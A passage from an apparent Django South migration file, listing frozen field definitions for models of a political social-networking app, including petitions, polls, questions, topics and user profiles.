('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'full_text': ('django.db.models.fields.TextField', [], {}), 'government_type': ('django.db.models.fields.CharField', [], {'default': "'traditional'", 'max_length': '30'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Group']"}), 'moderator': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'motion_downvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'motion_type': ('django.db.models.fields.CharField', [], {'default': "'other'", 'max_length': '30'}), 'motion_upvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'passed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, 'modernpolitics.network': { 'Meta': {'object_name': 'Network', '_ormbases': ['modernpolitics.Group']}, 'extension': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True'}), 'group_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Group']", 'unique': 'True', 'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'network_type': ('django.db.models.fields.CharField', [], {'default': "'D'", 'max_length': '1'}) }, 'modernpolitics.news': { 'Meta': {'object_name': 'News', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'link': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'link_screenshot': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}), 'link_summary': ('django.db.models.fields.TextField', [], {'default': "''"}) }, 'modernpolitics.notification': { 'Meta': {'object_name': 'Notification'}, 'action': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'notifications'", 'to': "orm['modernpolitics.Action']"}), 'agg_actions': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'agg_notifications'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Action']"}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': "orm['modernpolitics.UserProfile']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'notify_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'notifications'", 'to': "orm['modernpolitics.UserProfile']"}), 'privacy': ('django.db.models.fields.CharField', [], {'default': "'PUB'", 'max_length': '3'}), 'viewed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.office': { 'Meta': {'object_name': 'Office', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'governmental': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'tags': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'tag_offices'", 'symmetrical': 'False', 'to': "orm['modernpolitics.OfficeTag']"}) }, 'modernpolitics.officeheld': { 'Meta': {'object_name': 'OfficeHeld', '_ormbases': ['modernpolitics.UCRelationship']}, 'confirmed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'congress_sessions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.CongressSession']", 'symmetrical': 'False'}), 'election': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'end_date': ('django.db.models.fields.DateField', [], {}), 'office': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'office_terms'", 'to': "orm['modernpolitics.Office']"}), 'start_date': ('django.db.models.fields.DateField', [], {}), 'ucrelationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.UCRelationship']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.officetag': { 'Meta': {'object_name': 'OfficeTag'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'modernpolitics.pageaccess': { 'Meta': {'object_name': 'PageAccess'}, 'action': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True'}), 'duration': ('django.db.models.fields.TimeField', [], {'null': 'True'}), 'exit': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ipaddress': ('django.db.models.fields.IPAddressField', [], {'default': "'255.255.255.255'", 'max_length': '15', 'null': 'True'}), 'left': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'login': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'page': ('django.db.models.fields.CharField', [], {'max_length': '5000'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '4'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.party': { 'Meta': {'object_name': 'Party', '_ormbases': ['modernpolitics.Group']}, 'group_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Group']", 'unique': 'True', 'primary_key': 'True'}), 'party_label': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True'}), 'party_type': ('django.db.models.fields.CharField', [], {'default': "'D'", 'max_length': '1'}) }, 'modernpolitics.petition': { 'Meta': {'object_name': 'Petition', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'current': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'finalized': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'full_text': ('django.db.models.fields.TextField', [], {'max_length': '10000'}), 'goal': ('django.db.models.fields.IntegerField', [], {'default': '10'}), 'p_level': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'signers': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'petitions'", 'symmetrical': 'False', 'to': "orm['modernpolitics.UserProfile']"}) }, 'modernpolitics.physicaladdress': { 'Meta': {'object_name': 'PhysicalAddress'}, 'address_string': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True'}), 'district': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'latitude': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '30', 'decimal_places': '15'}), 'longitude': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '30', 'decimal_places': '15'}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True'}), 'zip': ('django.db.models.fields.CharField', [], {'max_length': '20', 'null': 'True'}) }, 'modernpolitics.poll': { 'Meta': {'object_name': 'Poll', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'num_questions': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'questions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Question']", 'symmetrical': 'False'}) }, 'modernpolitics.qordered': { 'Meta': {'object_name': 'qOrdered'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'question': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Question']"}), 'rank': ('django.db.models.fields.IntegerField', [], {}) }, 'modernpolitics.question': { 'Meta': {'object_name': 'Question', '_ormbases': ['modernpolitics.Content']}, 'answers': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Answer']", 'symmetrical': 'False'}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'lg_weight': ('django.db.models.fields.IntegerField', [], {'default': '5'}), 'official': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'question_text': ('django.db.models.fields.TextField', [], {'max_length': '500'}), 'question_type': ('django.db.models.fields.CharField', [], {'default': "'D'", 'max_length': '2'}), 'relevant_info': ('django.db.models.fields.TextField', [], {'max_length': '1000', 'null': 'True', 'blank': 'True'}) }, 'modernpolitics.questiondiscussed': { 'Meta': {'object_name': 'QuestionDiscussed'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'num_comments': ('django.db.models.fields.IntegerField', [], {}), 'question': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Question']"}) }, 'modernpolitics.questionordering': { 'Meta': {'object_name': 'QuestionOrdering'}, 'alias': ('django.db.models.fields.CharField', [], {'max_length': '30'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'questions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.qOrdered']", 'symmetrical': 'False'}) }, 'modernpolitics.registercode': { 'Meta': {'object_name': 'RegisterCode'}, 'active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'code_text': ('django.db.models.fields.CharField', [], {'max_length': '25'}), 'expiration_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'start_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.relationship': { 'Meta': {'object_name': 'Relationship'}, 'created_when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': "orm['modernpolitics.UserProfile']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'privacy': ('django.db.models.fields.CharField', [], {'default': "'PUB'", 'max_length': '3'}), 'relationship_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'relationships'", 'to': "orm['modernpolitics.UserProfile']"}) }, 'modernpolitics.resetpassword': { 'Meta': {'object_name': 'ResetPassword'}, 'created_when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'email_code': ('django.db.models.fields.CharField', [], {'max_length': '75'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'userProfile': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}) }, 'modernpolitics.response': { 'Meta': {'object_name': 'Response', '_ormbases': ['modernpolitics.Content']}, 'answer_tallies': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.AnswerTally']", 'symmetrical': 'False'}), 'answer_val': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'explanation': ('django.db.models.fields.TextField', [], {'max_length': '1000', 'blank': 'True'}), 'most_chosen_answer': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'responses'", 'null': 'True', 'to': "orm['modernpolitics.Answer']"}), 'most_chosen_num': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'question': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Question']"}), 'total_num': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'weight': ('django.db.models.fields.IntegerField', [], {'default': '50'}) }, 'modernpolitics.script': { 'Meta': {'object_name': 'Script'}, 'command': ('django.db.models.fields.CharField', [], {'max_length': '400'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'user': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.sentemail': { 'Meta': {'object_name': 'SentEmail'}, 'from_email': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'message': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'to_email': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'user': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'modernpolitics.sharedaction': { 'Meta': {'object_name': 'SharedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'content': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Content']"}), 'to_group': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'shared_to_actions'", 'null': 'True', 'to': "orm['modernpolitics.Group']"}), 'to_user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}) }, 'modernpolitics.signed': { 'Meta': {'object_name': 'Signed', '_ormbases': ['modernpolitics.UCRelationship']}, 'ucrelationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.UCRelationship']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.signedaction': { 'Meta': {'object_name': 'SignedAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'petition': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Petition']"}) }, 'modernpolitics.simplefilter': { 'Meta': {'object_name': 'SimpleFilter'}, 'created_when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'null': 'True', 'blank': 'True'}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']", 'null': 'True'}), 'display': ('django.db.models.fields.CharField', [], {'default': "'P'", 'max_length': '1'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Group']", 'symmetrical': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'levels': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.PhysicalAddress']", 'null': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '200'}), 'ranking': ('django.db.models.fields.CharField', [], {'default': "'H'", 'max_length': '1'}), 'submissions_only': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'topics': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Topic']", 'symmetrical': 'False'}), 'types': ('lovegov.modernpolitics.custom_fields.ListField', [], {}) }, 'modernpolitics.topic': { 'Meta': {'object_name': 'Topic'}, 'alias': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '30'}), 'hover': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True'}), 'icon': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True'}), 'parent_topic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Topic']", 'null': 'True'}), 'selected': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True'}), 'topic_text': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'modernpolitics.topiccomparison': { 'Meta': {'object_name': 'TopicComparison'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'num_q': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'result': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'topic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Topic']"}) }, 'modernpolitics.topicview': { 'Meta': {'object_name': 'TopicView'}, 'creator': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': "orm['modernpolitics.UserProfile']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'privacy': ('django.db.models.fields.CharField', [], {'default': "'PUB'", 'max_length': '3'}), 'topic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Topic']"}), 'view': ('django.db.models.fields.TextField', [], {'max_length': '10000', 'blank': 'True'}) }, 'modernpolitics.topicweight': { 'Meta': {'object_name': 'TopicWeight'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'topic': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.Topic']"}), 'weight': ('django.db.models.fields.IntegerField', [], {'default': '100'}) }, 'modernpolitics.typeweight': { 'Meta': {'object_name': 'TypeWeight'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'weight': ('django.db.models.fields.IntegerField', [], {'default': '100'}) }, 'modernpolitics.ucrelationship': { 'Meta': {'object_name': 'UCRelationship', '_ormbases': ['modernpolitics.Relationship']}, 'content': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'trel'", 'to': "orm['modernpolitics.Content']"}), 'relationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Relationship']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.us_condistr': { 'Meta': {'object_name': 'US_ConDistr'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'number': ('django.db.models.fields.IntegerField', [], {}), 'state': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.US_State']", 'unique': 'True'}) }, 'modernpolitics.us_counties': { 'Meta': {'object_name': 'US_Counties'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'state': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.US_State']", 'unique': 'True'}) }, 'modernpolitics.us_state': { 'Meta': {'object_name': 'US_State'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'modernpolitics.usercomparison': { 'Meta': {'object_name': 'UserComparison', '_ormbases': ['modernpolitics.ViewComparison']}, 'userA': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'a'", 'to': "orm['modernpolitics.UserProfile']"}), 'userB': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'b'", 'to': "orm['modernpolitics.UserProfile']"}), 'viewcomparison_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.ViewComparison']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.userfollow': { 'Meta': {'object_name': 'UserFollow', '_ormbases': ['modernpolitics.UURelationship']}, 'confirmed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'declined': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'fb': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'invited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'inviter': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'rejected': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'requested': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'uurelationship_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.UURelationship']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.userfollowaction': { 'Meta': {'object_name': 'UserFollowAction', '_ormbases': ['modernpolitics.Action']}, 'action_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Action']", 'unique': 'True', 'primary_key': 'True'}), 'modifier': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'user_follow': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'follow_actions'", 'to': "orm['modernpolitics.UserFollow']"}) }, 'modernpolitics.usergroup': { 'Meta': {'object_name': 'UserGroup', '_ormbases': ['modernpolitics.Group']}, 'group_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Group']", 'unique': 'True', 'primary_key': 'True'}) }, 'modernpolitics.userimage': { 'Meta': {'object_name': 'UserImage', '_ormbases': ['modernpolitics.Content']}, 'content_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['modernpolitics.Content']", 'unique': 'True', 'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}) }, 'modernpolitics.useripaddress': { 'Meta': {'object_name': 'UserIPAddress'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ipaddress': ('django.db.models.fields.IPAddressField', [], {'default': "'255.255.255.255'", 'max_length': '15'}), 'locID': ('django.db.models.fields.IntegerField', [], {}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserProfile']"}) }, 'modernpolitics.userpermission': { 'Meta': {'object_name': 'UserPermission'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'permission_type': ('django.db.models.fields.CharField', [], {'max_length': '1'}) }, 'modernpolitics.userphysicaladdress': { 'Meta': {'object_name': 'UserPhysicalAddress'}, 'address_string': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True'}), 'district': ('django.db.models.fields.IntegerField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'latitude': ('django.db.models.fields.DecimalField', [], {'max_digits': '30', 'decimal_places': '15'}), 'longitude': ('django.db.models.fields.DecimalField', [], {'max_digits': '30', 'decimal_places': '15'}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'user': ('django.db.models.fields.IntegerField', [], {}), 'zip': ('django.db.models.fields.CharField', [], {'max_length': '20', 'null': 'True'}) }, 'modernpolitics.userprofile': { 'Meta': {'object_name': 'UserProfile'}, 'about_me': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'access_token': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'address': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'age': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'alias': ('django.db.models.fields.CharField', [], {'max_length': '200', 'blank': 'True'}), 'anonymous': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.AnonID']", 'symmetrical': 'False'}), 'bio': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}), 'blog_url': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'confirmation_link': ('django.db.models.fields.CharField', [], {'max_length': '500'}), 'confirmed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'content_notification_setting': ('lovegov.modernpolitics.custom_fields.ListField', [], {}), 'created_when': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'custom_notification_settings': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.CustomNotificationSetting']", 'symmetrical': 'False'}), 'date_of_birth': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'developer': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'dob': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'downvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'elected_official': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}), 'email_notification_setting': ('lovegov.modernpolitics.custom_fields.ListField', [], {}), 'ethnicity': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}), 'evolve': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'facebook_id': ('django.db.models.fields.BigIntegerField', [], {'unique': 'True', 'null': 'True', 'blank': 'True'}), 'facebook_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'facebook_profile_url': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'fb_image': ('django.db.models.fields.files.ImageField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'filter_setting': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.FilterSetting']", 'null': 'True'}), 'first_login': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'follow_me': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'follow_me'", 'null': 'True', 'to': "orm['modernpolitics.Group']"}), 'gender': ('django.db.models.fields.CharField', [], {'max_length': '1', 'null': 'True', 'blank': 'True'}), 'ghost': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'govtrack_id': ('django.db.models.fields.IntegerField', [], {'default': '-1'}), 'i_follow': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'i_follow'", 'null': 'True', 'to': "orm['modernpolitics.Group']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'invite_message': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '10000', 'blank': 'True'}), 'invite_subject': ('django.db.models.fields.CharField', [], {'default': "'default'", 'max_length': '1000', 'blank': 'True'}), 'last_answered': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'auto_now_add': 'True', 'blank': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'last_page_access': ('django.db.models.fields.IntegerField', [], {'default': '-1', 'null': 'True'}), 'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.PhysicalAddress']", 'null': 'True'}), 'middle_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'my_feed': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'newfeed'", 'symmetrical': 'False', 'to': "orm['modernpolitics.FeedItem']"}), 'my_filters': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.SimpleFilter']", 'symmetrical': 'False'}), 'my_history': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'history'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Content']"}), 'my_involvement': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['modernpolitics.Involved']", 'symmetrical': 'False'}), 'networks': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'networks'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Network']"}), 'nick_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'num_answers': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_articles': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_followme': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_groups': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_ifollow': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_petitions': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_posts': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_signatures': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'num_supporters': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'parties': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'parties'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Party']"}), 'party': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'political_role': ('django.db.models.fields.CharField', [], {'max_length': '1', 'null': 'True', 'blank': 'True'}), 'political_statement': ('django.db.models.fields.TextField', [], {'null': 'True'}), 'political_title': ('django.db.models.fields.CharField', [], {'default': "'Citizen'", 'max_length': '100'}), 'politician': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'private_follow': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'privileges': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'priv'", 'symmetrical': 'False', 'to': "orm['modernpolitics.Content']"}), 'profile_image': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserImage']", 'null': 'True'}), 'raw_data': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'registration_code': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.RegisterCode']", 'null': 'True'}), 'religion': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True', 'blank': 'True'}), 'supporters': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'supportees'", 'symmetrical': 'False', 'to': "orm['modernpolitics.UserProfile']"}), 'twitter_screen_name': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True'}), 'twitter_user_id': ('django.db.models.fields.IntegerField', [], {'null': 'True'}), 'type': ('django.db.models.fields.CharField', [], {'default': "'U'", 'max_length': '1'}), 'upvotes': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'url': ('lovegov.modernpolitics.custom_fields.ListField', [], {'default': '[]'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True'}), 'userAddress': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.UserPhysicalAddress']", 'null': 'True'}), 'user_notification_setting': ('lovegov.modernpolitics.custom_fields.ListField', [], {}), 'user_title': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True'}), 'view': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['modernpolitics.WorldView']"}), 'website_url': 